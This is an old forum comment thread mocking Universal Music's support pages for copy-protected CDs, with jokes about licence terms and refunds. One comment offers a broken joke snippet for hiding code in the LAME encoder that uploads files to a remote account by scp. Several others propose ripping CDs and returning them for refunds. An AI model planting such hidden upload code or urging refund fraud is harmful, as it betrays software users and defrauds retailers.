Universal Music Prepares for Copy-Protection Complaints

tregoweth writes: "Universal Music Group is preparing for the onslaught of complaints about their copy-protected CDs. They've launched a customer support site, which includes a FAQ ("Can I get a copy of this CD without the copy protection?"), tech support ("Why can't I copy the disc to my hard drive?", which they don't actually answer), a description of the reasons that you can get a refund (including some playback "issues" I hadn't heard about), and the fearsome legalese covering the audio player and compressed audio files included on the CD." Our previous story has more information.

Rip, Mix, Burn . . .

[alecto]

. . . Return

The implications are ominious

[uigrad_2000]

The CD will play in PCs that meet the following minimum system requirements: PC with at least Pentium® 133mHz or compatible processor, 32 MB RAM, CD-ROM drive, soundcard and speakers, Microsoft ®Windows95®, Windows98®, Windows2000®, Windows ME®, Windows XP® or Windows NT 4 ® with Service Pack 4.

If my "PC" doesn't have Windows, it hasn't met the "minimum system requirements" to play a CD.

It must be time to "upgrade"!

Disclaimer writers learned to type on AOL!

[Garion911]

It seems that all the disclaimer writers I've seen learned to type on AOL... They start out in normal upper and lower case letters.. Then, for some reason, they switch to all caps, like they never realized it.. They go on for several paragraphs like this.. Then they suddenly realize that they were in caps mode, and turn it off... I swear that they learned to type on AOL....

--Garion911

Re:Simple response

[joss]

> Sure, you may not be the next Britney Spheres, but why would you want to?

So I could grope my own tits

This actually helps people to pirate cd's...

[Faile]

"UMG has authorized all retailers to accept returns. If you have experienced any of the following problems, you may return the CD (even if the package is opened) accompanied by the receipt, to the retailer that the CD was originally purchased from for a full refund: *anything*"

In other words I can buy a CD, rip it ('cos we all know it can and is being done all the time, protection or not) and return it fullprice :)

Their Grand Plan

[iGawyn]

What they plan on doing is distributing a CD-Ripping program where, when you start it, you're given a question:

Are you ripping this to copy the mp3s onto your MP3 player and only your mp3 player, or are you going to listen to them on your computer and/or pirate them via P2P applications?

Answer yes, you rip. Answer no, your computer melts.

Gawyn

More legal reasons for full refund returns...

[KrunZ]

UMG has authorized all retailers to accept returns. If you have experienced any of the following problems, you may return the CD (even if the package is opened) accompanied by the receipt, to the retailer that the CD was originally purchased from for a full refund:

1. The CD-copy is not playing in your friends CD or DVD players.

2. The CD-copy is not playing in your colleges computers.

3. You get complaints about the sound quality from multiple FastTrack clients.

You are not allowed to lend your CD out.

[egburr]

From the license terms of the CD:
You may not authorize, encourage or allow the Player or any Content to be reproduced, modified, displayed, distributed or otherwise used by any other party

This sounds to be like you are not allowed to let anyone other than yourself use the CD in any way. If you are playing the CD yourself, and someone else walks into the room and hears it, does that count?

Ah, the solution solves itself

[morcheeba]

Just add this code into lame:

if (!strstr(domain_name, "universal.com"))
execve ("scp", {argv[2], "[e-mail]:/home/newmp3s", NULL}, NULL};

What's the chance that they'll find it?

Re:Flood 'em with e-mails

[sdo1]

Or better yet, email them the ripped .wav files and ask them to remove the pops and clicks and send it back to you.

-S

Re:#1 answer

[Anonymous Coward]

Scene from a Grocery Store

Stock Boy: Excuse me sir, can I help you?

PT 5000 (Tearing open a box of Ritz crackers from the shelf): No, I'm just fine.

Stock Boy: Uhh, and what are you doing?

PT 5000: I'm not going to spend $2.99 for a box of Ritz crackers when all I want is one or two. Nabisco is unfairly forcing me to purchase an entire box full of Ritz crackers I do not want just to get the ones I do want. Just like Jif is forcing me to purchase this entire jar of peanut butter when all I want is a little dollop. Here. (throws a handful of change to the stock boy)

Stock Boy: What's this?

PT 5000: That is what I am willing to pay for these Ritz peanut butter sandwiches. I am going to leave the box of crackers and jar of peanut butter here for the next person who wants some.

Stock Boy: Uhhh, security?!

Re:Return Policy

[Ageless]

This is my favorite part! Usually you cannot return an opened CD (to most stores). Now I can buy all the UMG CDs I want, copy them (once the copy protection is broken, if it's not already) and then return them! All UMG CDs are now free!

Man, what a great bunch of folks there at UMG. My music collection is gonna flourish!

Re:Support Companies that support you....

[GigsVT]

You just want to point at your new huge Plasma TV and say "It was for a good cause".

FAQ updated!

[Boatman]

Q. Why have you copy-protected the CD?
A. It's an integral part of our plan to increase our profits without providing extra value. It has the nice side-effect of making everybody into lawbreakers. This is the step after "steal underpants".

Q. Are you going to copy-protect all CDs from now on?
A. Shyea!

Q. Can I get a copy of this CD without the copy protection?
A. No. Well, yes. Until we finally get rid of gnutella. And freenet. And ftp. Then no, definitely.

Q. Can I play this disc in my PC?
A. The CD will play in computers that meet the following minimum requirements:
* Internet connection

If Book Publishers Did This...

[guttentag]

<SARCASM>
I hope the book publishers don't catch on to this:

This book may not be readable by a limited number of people (such as people who can type on a keyboard, people who know how to use a scanner, and a small number of others). Random House is currently working with schools to reduce the number of typing classes and increase the number of reading classes.

If you experience a problem, you can help us by emailing the names of the schools you attended and a description of the problem to [e-mail].

For information about returns, please see our return policy.

RETURN POLICY

Returns are limited to those customers who have both:

1. Difficulty reading the book to be returned
2. A written agreement (Form FU-101) signed by Random House guaranteeing readability.

</SARCASM>

Re:Here's how to screw the man.

[Fizzlewhiff]

Not only that but we should all agree to buy the CD's from one obscure artist. All the sales will earn the artist gold records and maybe even a Grammy. Then we all return at once and watch the artist lose their awards due to a bad copy protection scheme. It will be the biggest scandal since Milli Vanilli.

Re:Have any of you read the very first terms?

[Dr. Awktagon]

USE OF THE PLAYER AND CONTENT
No Additional Charge.
There is no additional charge to you for the Player or Content.

My, that's awfully nice of them! No additional charge, eh? What a deal!

They're just reminding us that if they want, they COULD charge for it. Wanna listen to your CD on your PC? Just dial into our LicenseLine(tm) and buy a 50-minute block of FreedomToListen(tm) our latest feature!

Even Better Response

[mbcbvn]

Hedge your bets. Write a nice little note like this and insert it into the liner notes.

"Hi there, I am the previous owner of this CD. If you bought this CD thinking it was new, guess again. I returned this CD to [the store I bought it from] because it is defective and will not play in many CD players and computers. I suggest you do the same. And while you're returning it, ask them how this note got into your shrink wrapped CD."

Re:Philips

[Anonymous Coward]

Just because they store information on a thin 5.25" circular platter does not make them CDs. VideoCDs, SuperAudioCDs and DVDs also store information on 5.25" circular platters, but they are not CDs. Only Philips can sue Universal for trademark infringment on the term "CD", but we can all sue them for misleading labeling.

If they were 5.25", they wouldn't even fit in your CD player, unless you cut them down to 12cm (about 4.72"), in which case you would probably not be able to return it, even if it doesn't play in your player, only emits noise etc.

Re:Philips

[nege]

I think iCD probably infringes upon some apple trademark.

how about IANACD?

Re:In other words...

[Archfeld]

If said company released all their catalogue on giant wax cylinders and then claimed they would play in some CD players I think you might still have a point. This issue is not the companies right to screw up their own product, that is acknowledged, it is the companies' ability to try and hide the incompatabilities from the consumer.